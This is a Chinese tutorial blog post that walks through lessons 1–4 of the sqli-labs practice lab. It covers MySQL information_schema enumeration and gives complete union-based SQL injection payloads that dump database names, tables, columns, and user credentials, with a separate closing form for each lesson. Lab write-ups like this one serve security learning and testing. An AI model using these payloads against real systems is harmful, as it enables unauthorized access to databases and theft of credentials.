• sql-lib闯关之lesson1-4


    在开始闯关之前,我们记录一些基础笔记

    几个常用的函数:

    1.version()   --Mysql版本

    2.user()  --数据库用户名

    3.database()  --数据库名

    4.@@datadir  --数据库安装路径

    5.@@version_compile_os  --操作系统的版本

    常用的语句(重要):

    1.查库:select schema_name from information_schema.schemata

    2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

    3.查列:select column_name from information_schema.columns where table_name='users'

    4.查字段:select username,password from security.users


    注释符:#  --+  --空

    字符串连接函数:

    1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

    2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

    3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

    1..order by + n  : 查询结果根据第n列排序

    2.在使用 order by 测试出列数后,使用 union + 数字  查看回显信息,测试回显的哪几列,

     A and B A,B都Ture 结果才为Ture 

     A or B A,B 有一个Ture 结果就为Ture

    mysql登录

    1、明文密码   在bin目录下 输入:mysql -u 账户 -p 密码

    2、**密码  在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码 


    以及了解注入中字符型数字型搜索型区别和判断
    区别:
    https://blog.csdn.net/change518/article/details/8116920/

    判断:
    https://blog.csdn.net/qq_30464257/article/details/84495884
    判断中讲的比较简单明了,根据闯关结合容易理解了就。

    总结一下

    第一关:id=’1‘

    第二关:id=1

    第三关:id=(’1‘)

    第四关:id= (“1”)



    LESSON1
    1.在进行注入前判断注入类型。
    我们看到第一关的要求:请输入ID作为数字型参数

    (1)?id=1 正常


    (2)?id=1' 报错


    (3)?id=1'' 又恢复正常

     

    由此,单引号错误,双引号恢复正常,可见是字符型注入。

    2.对列进行判断(通过order by进行判断)
    可以采用二分法去猜测。

     

     由此判断一共有三列

    3.判断回显位置。
    输入?id=-1' union select 1,2,3 --+ (union联合注入查询)
    必须在union前的参数报错才可以执行,所以将id=1改为id=-1

     用户名为第二列,密码为第三列。

    4.查询所有数据库

    输入:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

     查库操作发现共有库:information_schema,challenges,dvwa,jokedb,mysql,pikachu,pkxss,security,test
    5.显示当前所在的数据库名
    输入:?id=-1' union select 1,database(),3 --+

     所在库为 security
    6.查询数据库的表名
    输入: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

     表信息:emails,referers,uagents,users
    注意在使用 table_schema=“security”时 推荐将其变为16进制  选中单词点击即可 加入0x (16进制标志)

     7.查询目标表的列(查列)
    输入: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

     可以看出 列中含有 user和password列
    8.查字段 在user表中查询字段

    查询的是password
    输入?id=-1' union select 1,2,group_concat(password) from security.users --+

     查询username

    同时也可以使用 concat_ws(~,A,B)来同时查询username 和password
    输入:
    ?id=-1' union select 1,2,concat_ws("~",username,password) from security.users --+


    我们发现只有一组数据,所以可以再次使用group_concat函数再次包裹(可以注意一下,同时其中的~号并不推荐可以改为16进制0x7e效果也是一样的)
    ?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+

     

     至此,我们第一关结束啦~

     

    LESSON2
    我们进入第二关

     题目要求:请输入ID作为带数值的参数。
    1.判断注入类型

     

     我们可以判断出这次是数字型注入,而不是第一关的字符型注入。(数字型用的id=1不用加’)
    2.依旧是采用order by 语句利用二分法判断列数

     

     得到依旧是3列
    3.查看显示位,判断注入位置,之后就是获取数据库表名,列名,字段名,和第一关步骤相同

    判断注入位置

     接着查询所有数据库

     查询当前数据库名称

     注册爆表

     注入uers列的字段

     查询字段username,password
    这里以password为例

     完成


    LESSON3
    1.首先,我们依旧是判断注入类型

     这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的

    通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。

    剩下的步骤也是相同的,我就不再一一演示了

     如图所示,通过输入这些可以将username和password 同时显示出来

     


    LESSON4
    一样的道理,我们可以通过观察源码显示,测试到格式为(“”) 所以我们输入的?id=1”)
    然后剩下的步骤依旧相同

     可以这样同时显示用户名和密码了。





  • 相关阅读:
    MYSQL show engine innodb status 这么多年,你真的都懂?
    Python pymongo 中文乱码问题
    Python 进程与进程池
    MongoDB SyntaxError: Non-ASCII character 'xe4' in file test1.py on line 8, but no encoding declared;
    Mongodb Collection/Index 对应的数据文件
    MongoDB 查看索引被引用次数
    MongoDB 3.0新增的压缩选项(转载)
    Linux vmstat
    Mongodb按照日期分组统计
    MongoDB executionStats 详细分步查询计划与分步时间 explain("executionStats")(转载)
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12322766.html
Copyright © 2020-2023  润新知